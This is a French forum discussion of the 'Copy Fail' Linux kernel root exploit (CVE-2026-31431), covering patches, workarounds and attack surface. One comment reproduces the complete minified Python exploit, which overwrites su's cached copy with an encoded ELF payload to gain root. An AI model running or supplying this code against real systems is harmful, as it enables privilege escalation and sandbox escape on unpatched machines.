Je sais qu’une vraie attaque fait tout pour rendre le code illisible, mais là on parle bien d’une démonstration publique qui n’est pas censée en être une ?
Sans parler de la documentation sur le site qui dit « Targets /usr/bin/su by default; pass another setuid binary as argv[1] » alors que les lignes 8 et 10 le codent évidemment en dur… oO
Les détails sont sur un blog. En très résumé: utilisation de splice() de façon tordue pour corrompre le cache disque. Cela permet de remplacer le contenu d'un binaire qui est setuid (dans l'exemple c'est su qui est visé). Ainsi, lorsqu'on exécute ce binaire, c'est la version corrompue qui se lance, et comme il y a le bit setuid, il se lance en root.
Les détails sont dans le "de façon tordue" mais je vais aller lire le blog et je pense qu'il vaut mieux prendre les infos à la source que mon résumé.
le problème se trouve dans des fonctions de cryptographie du noyau qui sont exposées assez directement à l'espace utilisateur. Ces fonctions écrivent 4 octets dans une zone fournie par l'utilisateur alors que celui-ci n'avait pas le droit d'écrire dedans. Dans l'attaque, on fait en sorte que ce pointeur pointe vers les données de su dans le cache disque.
comme l'attaque s'en prend au cache disque, elle permet de contourner certaines solutions de sandboxing comme kubernetes. En effet dans ce cas là, il y a un seul kernel et un seul cache disque. Cela fait ou fera l'objet d'un deuxième blog (j'ai pas regardé si il était déjà disponible) pour les détails
Posté par Ltrlg .
Évalué à 6 (+6/-0).
Dernière modification le 30 avril 2026 à 09:09.
Je comprends bien que le code d’exploitation se doit d’être un minimum tordu. Ce que je ne comprends pas, c’est de fournir uniquement une version minifiée et compressée. C’est chouette pour pouvoir dire que ça tient dans 1 ko, mais ça complique inutilement l’audit pour ceux qui veulent juste vérifier ce qui est fait avant de le lancer.
#!/usr/bin/env python3importosimportzlibimportsocketdefd(x):returnbytes.fromhex(x)defc(f,t,c):# AF_ALG is a Linux-only socket based interface to Kernel cryptography.# https://docs.kernel.org/crypto/userspace-if.htmla=socket.socket(socket.AF_ALG,socket.SOCK_SEQPACKET,0)a.bind(("aead","authencesn(hmac(sha256), cbc(aes))"))a.setsockopt(socket.SOL_ALG,socket.ALG_SET_KEY,d('0800010000000010'+'0'*64))a.setsockopt(socket.SOL_ALG,socket.ALG_SET_AEAD_AUTHSIZE,None,4)u,_=a.accept()u.sendmsg_afalg([b"A"*4+c],op=socket.ALG_OP_DECRYPT,iv=b'\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00',assoclen=8,flags=socket.MSG_MORE)r,w=os.pipe()os.splice(f,w,t+4,offset_src=0)os.splice(r,u.fileno(),t+4)try:u.recv(8+t)except:0# This is an ELF programe=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))f=os.open("/usr/bin/su",0)i=0whilei<len(e):c(f,i,e[i:i+4])i+=4os.system("su")
Ce truc ouvre un socket, exécute un binaire cryptique et a la capacité de devenir root. Clairement, je crois l'auteur sur parole et je n'exécute pas ce truc sur ma machine.
Posté par Marc Quinton .
Évalué à 6 (+4/-0).
Dernière modification le 30 avril 2026 à 13:39.
en terme de fonctionnalité, on peut perdre certains services ; pour le reste, pas de risque identifié ; il convient juste de s'assurer que le service est géré par un module noyaux externe, sinon, c'est intégré au noyau et sans effet :
Bon, ben j'ai plus qu'à recompiler mon noyau quoi. Et dire qu'il y a seulement deux semaines (avant que mon disque dur ne grille) je n'avais jamais compiler ce bidule. Ça doit être pour me punir d'être passé à un noyau pré-configuré.
Je m'étonne un peu de la publication de la faille et du script permettant de l'exploiter avant que les correctifs aient été intégrés par celles-ci. Les mainteneurs du noyau ont été avisés il y a un peu moins d'un mois mais seules les versions ≥ 7.0 semblent concernées.
Pour tester il vaut mieux utiliser d'autres scripts que celui fourni par le lien, par exemple : https://github.com/rootsecdev/cve_2026_31431
Ou mieux se contenter d'appliquer le contournement proposé si le noyau est listé comme vulnérable sur le site de la distribution.
En effet, j'ai cru comprendre que le script ouvrait un socket de communication pour passer en root. Dans ce cas, une fois le script exécuté, tous les utilisateurs non privilégiés sur la machine peuvent lancer su et devenir root sans mot de passe tant que le socket est ouvert…
Posté par gUI (Mastodon) .
Évalué à 9 (+6/-0).
Dernière modification le 30 avril 2026 à 09:38.
Dans ce cas, une fois le script exécuté, tous les utilisateurs non privilégiés sur la machine peuvent lancer su et devenir root sans mot de passe tant que le socket est ouvert…
Attention le script fourni ne sert pas à détecter la faille, mais bien à l'activer. À n'utiliser donc que si l'on peut rebooter rapidement (ce qui remet le système à l'état normal).
En théorie, la théorie et la pratique c'est pareil. En pratique c'est pas vrai.
Après la version 6.12.85-1 pour Trixie/stable hier, Debian propose une version patchée (6.1.170-1) pour Bookworm/oldstable (par exemple pour vos serveurs Yunohost). À vos mises à jour.
Il y a plusieurs moyens qui tous ont en commun de vider le cache de lecture pour reprendre le vrai su (qui n'a jamais été réellement touché, il est là l'exploit).
Notamment echo 3 >/proc/sys/vm/drop_caches
En théorie, la théorie et la pratique c'est pareil. En pratique c'est pas vrai.
Posté par gUI (Mastodon) .
Évalué à 10 (+8/-0).
Dernière modification le 30 avril 2026 à 07:51.
Cette faille permet, si je comprends bien de passer de l'utilisateur courant à root sans entrer de mot de passe.
Il faut bien être conscient que la séparation utilisateur/administrateur est la principale mesure de sécurité de ton système. Là oui, ça tombe.
Les vrais trucs que je veux protéger sont dans ma home (documents, photos, mails, etc.).
Donc lisible et écrivable par tous les comptes à partir de maintenant.
Quelle est la surface d’attaque ?
N'importe quel programme exécuté en tant que utilisateur peut choper les droits root. Ton Firefox par exemple, ou ton LibreOffice. C'est 10 lignes de script, ça marche partout. Le font-ils ? Je te laisse faire l'audit du code, mais perso je préfère avoir un kernel sans trou aussi béant, ça évite ce style de questionnement.
Un de mes enfants pourrait profiter d'une absence pour se créer un accès permanent à mon ordi ?
C'est surtout qu'il n'a pas intérêt à exécuter n'importe quoi. L'isolation "je leur fais un compte dédié pour éviter les emmerdes" saute immédiatement.
Par exemple un tuto qui contient le fameux curl | bash, vaut mieux y jeter un oeil avant, les hackeurs de sites Internet vont se ruer sur cette aubaine !
En théorie, la théorie et la pratique c'est pareil. En pratique c'est pas vrai.
Si tu n'a aucun serveur installé, si tu en restes aux exécutables fournis pas ta distribution, elle est quasi-nulle.
Pas vraiment, une pull request malveillante sur un projet peu attentif à la sécurité (ou faisant relire celles-ci par une IA 😀) peut suffire pour qu’un attaquant puisse accéder au compte admin du PC même sans niveau technique incroyable.
Pas vraiment, une pull request malveillante sur un projet peu attentif à la sécurité (ou faisant relire celles-ci par une IA 😀) peut suffire pour qu’un attaquant puisse accéder au compte admin du PC même sans niveau technique incroyable.
En contexte particuler, ça sert à quoi d'accéder au compte admin quand tu as déjà accès à toutes les données sensibles qui sont dans le compte utilisateur ?
Posté par gUI (Mastodon) .
Évalué à 4 (+1/-0).
Dernière modification le 30 avril 2026 à 14:18.
Ici au boulot j'ai une Ubuntu tout ce qu'il y a de standard, je suis le seul utilisateur, et pourtant j'ai 65 entrées dans /etc/passwd. C'est à se demander pourquoi tout ne tourne pas sous root !
En théorie, la théorie et la pratique c'est pareil. En pratique c'est pas vrai.
Au temps pour moi, j'ai lu trop vite, j'ai cru qu'il parlait de code exécuté par l'utilisateur.
Évidemment il faut patcher partout, je ne remets pas ça en question.
Mais comme dit par quelqu'un d'autre, la surface d'attaque est quasi-nulle sur un ordinateur mono-utilisateur.
Pour l'exploiter il faut déjà pouvoir exécuter du code arbitraire.
Quelle quantité de code est utilisé par tes 64 utilisateurs système et quelle quantité est utilisé par ton compte utilisateur humain ?
Si tu as une faille de remote-exec sur ton ordi, il y a quand même de bonnes chances qu'elle soit sur les logiciels que tu fais tourner avec ton compte, non ?
N'importe quel programme exécuté en tant que utilisateur peut choper les droits root. Ton Firefox par exemple, ou ton LibreOffice. C'est 10 lignes de script, ça marche partout. Le font-ils ? Je te laisse faire l'audit du code, mais perso je préfère avoir un kernel sans trou aussi béant, ça évite ce style de questionnement.
Si ton firefox peut exécuter du code arbitraire, ça sert à quoi qu'il devienne root ?
Il a déjà accès à ton compte en banque, tes mails, etc.
Tu dis aussi que la séparation root/user est la principale sécurité, je ne suis pas d'accord, pour moi la principale sécurité c'est la sandbox du navigateur…
Posté par gUI (Mastodon) .
Évalué à 4 (+2/-1).
Dernière modification le 30 avril 2026 à 16:41.
ce qui m'ennuie c'est que tu nous reproches un peu ton manque d'imagination et ton manque de connaissances sur le domaine.
la sécu c'est des couches, et là une couche importante saute. c'est tout ce qu'il y a à comprendre. le reste c'est les spécialistes, qui notent comme très critique cette faille.
En théorie, la théorie et la pratique c'est pareil. En pratique c'est pas vrai.
J'avoue que je prends assez mal le ton de ta réponse. Tu noteras que les deux messages auxquels tu réponds posent des questions et n'affirment rien.
Me dire que je reproche aux autres mon manque d'imagination et mon manque de compétences me semble faux, dénigrant, et vexant.
Comment faut-il formuler les choses si ce n'est pas en posant des questions ?
Si tu veux que j'explicite mon avis, le voici.
La faille est évidemment critique et il faut évidemment patcher dès que possible.
La question était de départ du fil était, quelle est la surface d'attaque sur un poste ou la seule chose important est le home de l'utilisateur.
Il me semble que la réponse est, comme dit par quelqu'un d'autre, quasi nulle.
Sauf si ton ordi fait déja parti d'un botnet, c'est-à-dire qu'il y a déjà une faille béante permettant le remote exec sur un compte autre que ton compte utilisateur, il n'y a pas un gros risque à très court terme.
Dans le lien que tu as donné, à la question "should you patch first", il est indiqué "lower" en vert pour ce cas d'usage.
À aucun moment je ne dis qu'il ne faut pas patcher ou qu'on peut faire tout tourner en root sans souci.
Je dis juste que pour un système mono-utilisateur, les failles permettant d'executer du code à distance sont bien plus grave que des failles permettant l'escalation locale de privilège.
Maintenant, si tu peux me partager ton imagination et tes compétences, j'en serai ravi. Et c'était d'ailleurs ma question de départ.
Peux-tu me donner un cas concret ou cette faille permet de faire quelque chose d'utile pour un attaquant sur un système mono-utilisateur ?
Posté par gUI (Mastodon) .
Évalué à 6 (+3/-0).
Dernière modification le 30 avril 2026 à 18:39.
Peux-tu me donner un cas concret ou cette faille permet de faire quelque chose d'utile pour un attaquant sur un système mono-utilisateur ?
Je ne veux pas te donner d'exemple parce que soit tu me ressors un "oui mais moi ça s'applique pas parce que blablabla" et je repars pour un tour, soit tu es convaincu mais la prochaine fois, avec une faille différente, il va encore falloir donner des exemples.
C'est pas un problème que tu arrives à imaginer ou pas. Il faut avoir confiance dans les attaquants pour y arriver à ta place.
Réfléchis juste à pourquoi il faut un mot de passe pour être root, pourquoi tu ne fais pas toute ta vie en root, pourquoi on crée des utilisateurs différents sur un même système (fais un wc -l /etc/passwd). Tous ces comptes ont maintenant accès à tout. L'isolation des process explose, mono-utilisateur ou pas.
sur un système mono-utilisateur ?
Dis-toi que ton ordi n'a rien de mono-utilisateur. Tu ne maîtrises pas 1% de ce qu'il fait. Ne pars surtout pas du principe qu'il n'existe pas de code malicieux actuellement dans ton ordi.
En théorie, la théorie et la pratique c'est pareil. En pratique c'est pas vrai.
Tu veux dire, si quelqu'un a déjà réussi à un introduire une faille dans un processus qui ne tourne pas en root ni user, alors il a désormais accès aux données sensibles.
C'est bien ça ?
Par ailleurs, mais ça n'invalide pas tes arguments, il y a quatre processus qui tournent sur mon ordi en ni root ni user : timesyncd, dbus, polkit, rtkit.
Sur un système multi-utilisateur, cette faille est directement exploitable par n'importe qui pour avoir un accès à l'intégralité du système.
Sur un système mono-utilisateur, cette faille ne peut être utilisée que en combinaison avec une autre faille.
S'il y a déjà une faille de remote code execution sur un processus utilisateur, ça ne change rien car l'attaquant a déjà les informations importantes.
S'il y a déjà une faille de l'execution de code à distance (donc permettant de transformer ton ordinateur en botnet), alors l'attaquant peut en plus des ressources de l'ordinateur accéder aux informations à protéger.
Lesquelles de ces affirmations sont fausses et pourquoi ?
Encore une les questions que je pose ne sont pas rhétorique, ce sont de vraies questions.
Posté par gUI (Mastodon) .
Évalué à 4 (+1/-0).
Dernière modification le 30 avril 2026 à 19:40.
ça ne change rien car l'attaquant a déjà les informations importantes.
je voulais pas me je vais t'en donner une. dans tes explications j'ai vraiment l'impression que tu ne penses que aux fichiers. mais il y a plein d'autres trucs à choper.
par exemple une fois root, faire un keylogger c'est trivial. là c'est tes mots de passe qui peuvent fuiter.
EDIT : ah tiens j'en ai une autre rigolote :)
un jour le RAID va débouler chez toi à 6h du mat
- vous hébergez un site pédophile
- ah non
- oh si ! on l'a découvert en enquêtant sur la dernière attaque DDOS sur les sites gouvernementaux
- mais… mon ordi est mono-utilisateur !!!
- ah donc vous confirmez que c'est bien vous qui en êtes à l'origine ?
En théorie, la théorie et la pratique c'est pareil. En pratique c'est pas vrai.
par exemple une fois root, faire un keylogger c'est trivial. là c'est tes mots de passe qui peuvent fuiter.
Qui est aussi trivial à faire si tu as accès au compte utilisateur ?
un jour le RAID va débouler chez toi à 6h du mat
- vous hébergez un site pédophile
- ah non
- oh si ! on l'a découvert en enquêtant sur la dernière attaque DDOS sur les sites gouvernementaux
Ce qui est faisable tout aussi bien si tu peux exécuter du code arbitraire sans être root ?
J'essaie vraiment très fort mais pour l'instant je n'arrive toujours pas à changer d'avis. La surface d'attaque, c'est une faille dans systemd-timesyncd, dbus, polkit, rtkit ou d'une de leur dépendance.
Je veux bien que tu m'expliques comment cups par exemple peut keylogguer ce que tu tapes sous Firefox sans droits root.
Donc on est d'accord, c'est ce que je dis depuis un moment :
Sauf si ton ordi fait déja parti d'un botnet, c'est-à-dire qu'il y a déjà une faille béante permettant le remote exec sur un compte autre que ton compte utilisateur, il n'y a pas un gros risque à très court terme.
Un cups qui peut exploiter la faille peut déjà transformer ton ordi en botnet, non ?
Essaie plus fort. Ce sera mon dernier conseil.
Je fais aussi des efforts pour être agréable avec toi mais ton méprisant commence à me tendre un peu.
Peux-tu me donner un cas concret ou cette faille permet de faire quelque chose d'utile pour un attaquant sur un système mono-utilisateur ?
Imaginons que le mono-utilisateur, pour une raison ou pour une autre, sous l’emprise d’un psychotrope ou d’un banal excès de confiance, en vienne, un beau jour, à installer un truc logiciel, un exécutable quelconque, trouvé dans un coinstot chelou sur les internets, un code cloné depuis un dépôt respectable et ultrafréquenté — est-on bien sûr que le mono-utilisateur inspecte l’intégralité du code qu’il compile puis installe sur sa machine ? — ou confié par un tiers jusqu’alors-de-confiance.
Imaginons, de surcroît, que ledit truc logiciel, sous couvert de faire quelque chose d’utile, pratique et joli avec les droits du mono-utilisateur, en profite pour, à l’insu du mono-utilisateur, exploiter la faille, usurper les droits root et, je sais pas, moi, ouvrir un accès à distance et prendre ainsi en loucedé le contrôle total de la machine du mono-utilisateur, totipotence indéniablement utile à l’attaquant, quelles que soient ses intentions.
Et bien il y a fort à parier que le mono-utilisateur, tout mono-utilisateur qu’il soit, se trouvera, tôt ou tard, Gros-Jean comme devant.
tu peux déjà prendre le contrôle si tu peux exécuter du code arbitraire en compte utilisateur, non ?
Si le mono-utilisateur peut, à condition de montrer patte blanche (par exemple avec su et les credentials idoines), faire ce qui lui chante avec sa machine, ce n’est pas le cas des programmes qu’il installe sans savoir vraiment ce qu’ils font et qui s’exécutent en son nom.
Si tu utilises un compte utilisateur séparé à chaque fois que tu executes un bout de code non-inspecté par toi ou un tiers de confiance je suis d'accord, mais c'est une pratique peu répandue ?
Si le mono-utilisateur peut, à condition de montrer patte blanche (par exemple avec su et les credentials idoines), faire ce qui lui chante avec sa machine, ce n’est pas le cas des programmes qu’il installe sans savoir vraiment ce qu’ils font et qui s’exécutent en son nom.
Les programmes qui s'executent en son nom peuvent logger son clavier et son écran, c'est suffisant pour donner accès à l'attaquant aux données sensibles, pas besoin de copy fail.
Les programmes qui s'executent en son nom peuvent logger son clavier et son écran, c'est suffisant pour donner accès à l'attaquant aux données sensibles, pas besoin de copy fail.
Si l’attaquant veut faire rm -rf / sur ta machine, il ne lui suffira pas d’exécuter un programme en ton nom. Avec la faille, ça lui sera possible.
Si un attaquant a pu me voler tout mon /home, mettre un keylogger, etc, qu'il puisse supprimer mon /, c'est le cadet de mes soucis !
Tant mieux pour toi, mais ça n’est pas du tout la question.
Ça n’était qu’un exemple : si l’attaquant peut faire rm -rf / sur ta machine, alors il peut faire n’importe quoi d’autre. Ta machine est devenue sa machine, potentiellement sans que tu t’en doutes (mais en se faisant passer pour toi). C’est ce que la faille permet.
Si l’attaquant (ou l’attaquante) n’a cure de tes précieuses données (ce qui est probable), mais souhaite plutôt devenir, à bon compte, administrateur ou administratrice de ta machine (tout en agissant en ton nom), alors la faille le lui permet. Si ça t’est indifférent, alors tout va bien, laisse donc ton noyau tranquille.
Si l’attaquant (ou l’attaquante) n’a cure de tes précieuses données (ce qui est probable), mais souhaite plutôt devenir, à bon compte, administrateur ou administratrice de ta machine (tout en agissant en ton nom), alors la faille le lui permet. Si ça t’est indifférent, alors tout va bien, laisse donc ton noyau tranquille.
En pratique, tu penses à quoi ?
Que peut faire root sur ma machine que mon utilisateur ne peut pas déjà faire ?
Je doute que les programmes utilisés par les botnet s'installent avec des apt get—qui nécessite les droits root.
Ils peuvent faire tout en mieux et un peu plus encore.
Pourquoi ils peuvent tout faire mieux ? Parce qu'ils peuvent beaucoup mieux cacher ce qu'ils font. Le fait de pouvoir récrire les binaires permet d'ajouter des règles pour que tu ne puisses plus voir le nouveau deamon ou qu'un binaire n'est pas le bon.
Pourquoi ils peuvent faire plus ? Parce qu'ils peuvent déployer des configuration système permanente comme les MDM. Tu peut te retrouver avec un man in the middle sur le site de ta banque sans aucun signe visible du problème.
Après la stratégie standard c'est les processus qui écoutent sur le réseau sont sur un utilisateur autre que root. Tu sur une machine de bureau tu peux avoir cups pour tes imprimantes réseau, un serveur DLNA pour partager facilement des fichiers multimédia, du bitorren,…
Disons que sur la sécurité :
mon réseau est sûr
tous les ports accessibles de mon ordinateur sont
n'exécutent pas de code arbitraire
sur des comptes dédiés
Cette faille fait tomber cette dernière barrière. Ce n'est pas trop grave pour des utilisateurs, mais ça n'est pas à prendre trop à la légère parce que :
il peut y avoir des failles dans les autres couches, utilisée même si non publiées
l'automatisation des attaques sophistiquée augmente de jour en jour. Là où avant on pouvait dire "je ne suis rien, je ne me ferais pas attaquer" c'est de moins en moins le cas
Si l’attaquant (ou l’attaquante) n’a cure de tes précieuses données (ce qui est probable), mais souhaite plutôt devenir, à bon compte, administrateur ou administratrice de ta machine
Je pense que le désaccord est ici. Ce que dit Jean-Philippe, c'est que sur un système mono-utilisateur (= machine desktop utilisé par une seule personne), les principaux points d'intérêt de l'attaquant sont disponibles sans LPE, simplement avec exécution de code :
- exfiltration de secrets divers : clés SSH (si sous forme de fichiers) et tokens d'authentification si l'utilisateur est un dev, cookies de session si l'utilisateur va sur internet (-> comptes bancaires, réseaux sociaux, whatever)
- s'il y a un client mail en local : exfiltration des messages et contacts pour affiner le prochain phishing
- destruction des données de l'utilisateur (ransomware)
- exécution de code pour participation à un botnet (quel que soit le but: cryptomining, ddos, proxy de trafic suspect…)
- tout ce qui peut passer par la tête de l'attaquant
La faille copy fail permet en plus d'être plus discret et plus persistent dans la réalisation des tâches ci-dessus, en masquant les traces des opérations effectuées, enenfouissant le malware dans le système d'exploitation ou en-deça (rootkit UEFI), mais pas de faire significativement davantage de dégâts.
Ce qui signifie que :
- si on a un système à patcher, on le patche immédiatement.
- si on a plusieurs systèmes à patcher, on commence par ceux qui sont multi-utilisateurs.
Disons surtout que ce que pointe Jean-Philippe c'est que sur un système mono utilisateur il a raison : la faille reste sérieuse dans l'absolue mais le risque d'exploitation est faible et les conséquences le sont probablement aussi.
Notamment parce que ces machines exécutent rarement du code de n'importe où et n'ont pas beaucoup de serveurs pouvant offrant des portes d'entrées potentielles pour faire une telle attaque.
En somme pour ces machines très honnêtement se précipiter pour corriger la faille avant que le noyau à jour ne soit proposée par sa distro me semble exagéré (et on devrait s'étonner que ces personnes là ne le font bizarrement pas pour toutes les autres failles qui peuvent aboutir à la même situation). Appliquer la mise à jour du noyau quand elle est là et être prudent entre temps semble suffisant.
Pour les machines multiutilisateurs ça semble plus embêtant car des services qui exécutent du code de provenance diverses et variées ce n'est pas ce qui manque (CI, serveurs d'entreprises, services cloud ou d'hébergement, etc.). Et il y a de vrais risques et un vrai intérêts pour certains de tenter d'utiliser l'attaque pour prendre le contrôle de ces machines ou infrastructures ou de collecter ou saboter des données d'autres clients auxquels ils ont normalement pas accès.
Là pour le coup le problème est plus sérieux et nécessite des mesures préventives pour ce type de service si la mise à jour du noyau n'est pas disponible.
En contexte particuler, ça sert à quoi d'accéder au compte admin quand tu as déjà accès à toutes les données sensibles qui sont dans le compte utilisateur ?
Il est possible de tenter d'isoler les applications et de limiter leurs accès à l’extérieur par exemple avec bublewarp ou Firejail(qui est d'ailleurs vulnérable à cette faille de sécurité). Tout cela tombe à l’eau si l’appli arrive à s'échapper du bac à sable ce que cette faille peut permettre de faire.
Un de mes enfants pourrait profiter d'une absence pour se créer un accès permanent à mon ordi ?
Oui, ils peuvent aussi accéder à ton home, tes mails, etc.
Mais si ton disque dur n'est pas chiffré (y a-t-il une distribution qui le fait par défaut ?), ils peuvent déjà le faire, relativement facilement (démarrer sur un live usb).
Et même si on disque dur est chiffré, ils peuvent déjà le faire, avec des câbles modifiés (mais c'est nettement plus difficile).
Posté par cg .
Évalué à 4 (+2/-0).
Dernière modification le 03 mai 2026 à 11:12.
Hello,
pour ce qui concerne un cas d'usage que j'ai, l'entreprise dans laquelle je travaille fourni des ordis sous Linux aux employé·es, sans accès root. Cette faille leur permet d'obtenir un accès admin pour bricoler un peu ce qu'elles veulent dessus1, et potentiellement faire des conneries qui auront des conséquences plus tard, ou à un bout de code récupéré sur le net d'obtenir cette accès. Donc oui c'est plutôt super grave en fait :-/.
Heureusement que c'est facile à bloquer - et c'est sans doute pour cette (mauvaise) raison que l'équipe de recherche a révélé la faille sans attendre que les distributions majeures soient prêtes.
# Mettez d'urgence vos kernels à jour !
Posté par gUI (Mastodon) . Évalué à 6 (+4/-1).
Sur Arch mise à jour il y a quelques jours (1 semaine ?) la faille marche :
En théorie, la théorie et la pratique c'est pareil. En pratique c'est pas vrai.
[^] # Re: Mettez d'urgence vos kernels à jour !
Posté par volts (Mastodon) . Évalué à 9 (+8/-1). Dernière modification le 29 avril 2026 à 21:36.
Plutôt que s'amuser à exécuter directement le script sans voir le code, je préfère voir la source avant.
Voici le contenu du script d'exploitation de la faille1 :
Pris depuis https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py ↩
[^] # Re: Mettez d'urgence vos kernels à jour !
Posté par Ltrlg . Évalué à 4 (+4/-0).
Je sais qu’une vraie attaque fait tout pour rendre le code illisible, mais là on parle bien d’une démonstration publique qui n’est pas censée en être une ?
Sans parler de la documentation sur le site qui dit « Targets
/usr/bin/suby default; pass another setuid binary asargv[1]» alors que les lignes 8 et 10 le codent évidemment en dur… oO[^] # Re: Mettez d'urgence vos kernels à jour !
Posté par pulkomandy (site web personnel, Mastodon) . Évalué à 7 (+4/-0).
Les détails sont sur un blog. En très résumé: utilisation de splice() de façon tordue pour corrompre le cache disque. Cela permet de remplacer le contenu d'un binaire qui est setuid (dans l'exemple c'est su qui est visé). Ainsi, lorsqu'on exécute ce binaire, c'est la version corrompue qui se lance, et comme il y a le bit setuid, il se lance en root.
Les détails sont dans le "de façon tordue" mais je vais aller lire le blog et je pense qu'il vaut mieux prendre les infos à la source que mon résumé.
[^] # Re: Mettez d'urgence vos kernels à jour !
Posté par pulkomandy (site web personnel, Mastodon) . Évalué à 7 (+4/-0).
Je complète un peu après avoir lu l'article:
[^] # Re: Mettez d'urgence vos kernels à jour !
Posté par Ltrlg . Évalué à 6 (+6/-0). Dernière modification le 30 avril 2026 à 09:09.
Je comprends bien que le code d’exploitation se doit d’être un minimum tordu. Ce que je ne comprends pas, c’est de fournir uniquement une version minifiée et compressée. C’est chouette pour pouvoir dire que ça tient dans 1 ko, mais ça complique inutilement l’audit pour ceux qui veulent juste vérifier ce qui est fait avant de le lancer.
[^] # Re: Mettez d'urgence vos kernels à jour !
Posté par alkino . Évalué à 9 (+7/-0).
Même en plus clair, faut être un peu pointu.
[^] # Re: Mettez d'urgence vos kernels à jour !
Posté par steph1978 . Évalué à 4 (+2/-0).
Ce truc ouvre un socket, exécute un binaire cryptique et a la capacité de devenir root. Clairement, je crois l'auteur sur parole et je n'exécute pas ce truc sur ma machine.
[^] # Re: Mettez d'urgence vos kernels à jour !
Posté par Ambroise . Évalué à 5 (+4/-0).
Pour Arch, Le kernel 7.0 vient d'arriver en main aujourd'hui…
Et il corrige bien.
Par contre, sur mes serveurs Debian, j'ai du mettre en place le workaround : pas de fix sur le kernel actuel dans le repo si j'en crois le tracker.
[^] # Re: Mettez d'urgence vos kernels à jour !
Posté par Marc Quinton . Évalué à 6 (+4/-0). Dernière modification le 30 avril 2026 à 09:36.
en attendant que votre OS soit patché, voici la procédure de remédiation :
[^] # Re: Mettez d'urgence vos kernels à jour !
Posté par ǝpɐןƃu∀ nǝıɥʇʇɐW-ǝɹɹǝıԀ (site web personnel) . Évalué à 5 (+2/-0).
Est-ce que cette manœuvre est bien sûre ?
« IRAFURORBREVISESTANIMUMREGEQUINISIPARETIMPERAT » — Odes — Horace
[^] # Re: Mettez d'urgence vos kernels à jour !
Posté par Marc Quinton . Évalué à 6 (+4/-0). Dernière modification le 30 avril 2026 à 13:39.
en terme de fonctionnalité, on peut perdre certains services ; pour le reste, pas de risque identifié ; il convient juste de s'assurer que le service est géré par un module noyaux externe, sinon, c'est intégré au noyau et sans effet :
[^] # Re: Mettez d'urgence vos kernels à jour !
Posté par ǝpɐןƃu∀ nǝıɥʇʇɐW-ǝɹɹǝıԀ (site web personnel) . Évalué à 5 (+2/-0).
Merci.
Bon, ben j'ai plus qu'à recompiler mon noyau quoi. Et dire qu'il y a seulement deux semaines (avant que mon disque dur ne grille) je n'avais jamais compiler ce bidule. Ça doit être pour me punir d'être passé à un noyau pré-configuré.
« IRAFURORBREVISESTANIMUMREGEQUINISIPARETIMPERAT » — Odes — Horace
[^] # Re: Mettez d'urgence vos kernels à jour !
Posté par Marc Quinton . Évalué à 7 (+5/-0).
voici une autre méthode de mitigation, si le module est intégré au noyau.
[^] # Re: Mettez d'urgence vos kernels à jour !
Posté par Voltairine . Évalué à 7 (+5/-0). Dernière modification le 30 avril 2026 à 08:30.
Pour l'instant les distributions majeures ne proposent pas de noyau intégrant le correctif :
Debian : https://security-tracker.debian.org/tracker/CVE-2026-31431
Ubuntu : https://ubuntu.com/security/CVE-2026-31431
Redhat : https://access.redhat.com/security/cve/cve-2026-31431
Je m'étonne un peu de la publication de la faille et du script permettant de l'exploiter avant que les correctifs aient été intégrés par celles-ci. Les mainteneurs du noyau ont été avisés il y a un peu moins d'un mois mais seules les versions ≥ 7.0 semblent concernées.
Pour tester il vaut mieux utiliser d'autres scripts que celui fourni par le lien, par exemple : https://github.com/rootsecdev/cve_2026_31431
Ou mieux se contenter d'appliquer le contournement proposé si le noyau est listé comme vulnérable sur le site de la distribution.
En effet, j'ai cru comprendre que le script ouvrait un socket de communication pour passer en root. Dans ce cas, une fois le script exécuté, tous les utilisateurs non privilégiés sur la machine peuvent lancer su et devenir root sans mot de passe tant que le socket est ouvert…
[^] # Re: Mettez d'urgence vos kernels à jour !
Posté par gUI (Mastodon) . Évalué à 9 (+6/-0). Dernière modification le 30 avril 2026 à 09:38.
Attention le script fourni ne sert pas à détecter la faille, mais bien à l'activer. À n'utiliser donc que si l'on peut rebooter rapidement (ce qui remet le système à l'état normal).
En théorie, la théorie et la pratique c'est pareil. En pratique c'est pas vrai.
[^] # Re: Mettez d'urgence vos kernels à jour !
Posté par symp . Évalué à 4 (+3/-0).
Après la version 6.12.85-1 pour Trixie/stable hier, Debian propose une version patchée (6.1.170-1) pour Bookworm/oldstable (par exemple pour vos serveurs Yunohost). À vos mises à jour.
[^] # Re: Mettez d'urgence vos kernels à jour !
Posté par Tonton Th (site web personnel, Mastodon) . Évalué à 6 (+4/-0).
On en a déja causé ya pas longtemps…
https://tferdinand.net/pourquoi-curl-bash-est-une-mauvaise-habitude-dangereuse/
[^] # Re: Mettez d'urgence vos kernels à jour !
Posté par gUI (Mastodon) . Évalué à 9 (+6/-0).
Ah mais là t'es peinard, il n'y a pas de piège… c'est annoncé comme dangereux ^^
En théorie, la théorie et la pratique c'est pareil. En pratique c'est pas vrai.
[^] # Re: Mettez d'urgence vos kernels à jour !
Posté par roger21 ☭ . Évalué à 3 (+2/-0).
faites gaffe que si vous testez l'exploit vous niquer votre su jusqu'au prochain reboot
https://github.com/theori-io/copy-fail-CVE-2026-31431/issues/28
[^] # Re: Mettez d'urgence vos kernels à jour !
Posté par gUI (Mastodon) . Évalué à 7 (+4/-0).
Il y a plusieurs moyens qui tous ont en commun de vider le cache de lecture pour reprendre le vrai
su(qui n'a jamais été réellement touché, il est là l'exploit).Notamment
echo 3 >/proc/sys/vm/drop_cachesEn théorie, la théorie et la pratique c'est pareil. En pratique c'est pas vrai.
[^] # Re: Mettez d'urgence vos kernels à jour !
Posté par steph1978 . Évalué à 2 (+0/-0).
À faire sur une VM toute fraiche, isolée dans son propre VLAN, qui sera jetée juste après, bien sûr.
# Avocat du diable (quel est le risque pour moi ?)
Posté par LaurentClaessens (site web personnel) . Évalué à 4 (+2/-0).
Cette faille permet, si je comprends bien de passer de l'utilisateur courant à root sans entrer de mot de passe.
Les vrais trucs que je veux protéger sont dans ma home (documents, photos, mails, etc.).
Mon ordinateur est une tour bien lourde sous mon bureau connectée à plein de fils (on ne risque pas de me le voler allumé).
Quelle est la surface d’attaque ?
Un de mes enfants pourrait profiter d'une absence pour se créer un accès permanent à mon ordi ?
xkcd obligatoire: https://xkcd.com/1200/
